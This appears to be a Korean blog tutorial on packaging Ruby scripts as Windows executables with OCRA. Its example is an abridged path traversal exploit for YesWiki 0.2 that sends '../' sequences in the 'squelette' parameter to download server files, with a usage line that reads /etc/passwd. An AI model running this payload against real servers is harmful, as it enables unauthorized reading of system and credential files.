[RUBY] OCRA를 이용하여 Ruby 스크립트(.rb File) exe(Win Format) 포팅

ocra 설치(Install OCRA)

#gem install ocra

ocra를 이용하여 ruby script(.rb) -> exe(Win Executable File)로 변환

간단한 Exploit 코드를 Exe로 변환하도록 하겠습니다.
테스트에 사용할 코드는 아래와 같습니다.


# Exploit Title: YESWIKI 0.2 - Path Traversal
# Date: 2015-09-02
# Exploit Author: HaHwul
# Exploit Author Blog: http://www.codeblack.net
# Vendor Homepage: http://yeswiki.net
# Software Link: https://github.com/YesWiki/yeswiki
# Version: yeswiki 0.2
# Tested on: Debian [Wheezy]
# CVE : none
# ===========================================
..snip..
uri.query = URI.encode_www_form({"wiki"=>"PagesACreer/edit","newpage"=>"1","style"=>"gray.css","bgimg"=>"","squelette"=>"/../../../../../../../../../../../../#{downfile}","theme"=>"yeswiki"})
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
puts "#Response code: "+response.code
endNm = response.body.index("<")
result = response.body[0..endNm-1]
puts "#Result: "+result
end

길어서 조금 생략했어요.

# ocra test_traversal.rb
=== Loading script to check dependencies
test Path Traversal Exploit - File Downloader
Usage: ruby test_traversal.rb [targetURL wakka.php] [File name]
Example : ~~.rb http://127.0.0.1/vul_test/test/wakka.php /etc/passwd
exploit & code by hahwul[www.codeblack.net]
=== Attempting to trigger autoload of Gem::ConfigFile
=== Attempting to trigger autoload of Gem::DependencyList
=== Attempting to trigger autoload of Gem::DependencyResolver
=== Attempting to trigger autoload of Gem::Installer
=== Attempting to trigger autoload of Gem::RequestSet
=== Attempting to trigger autoload of Gem::Source
=== Attempting to trigger autoload of Gem::SourceList
=== Attempting to trigger autoload of Gem::SpecFetcher
=== Attempting to trigger autoload of CGI::HtmlExtension
..snip..

# ls
test_traversal.rb test_traversal.exe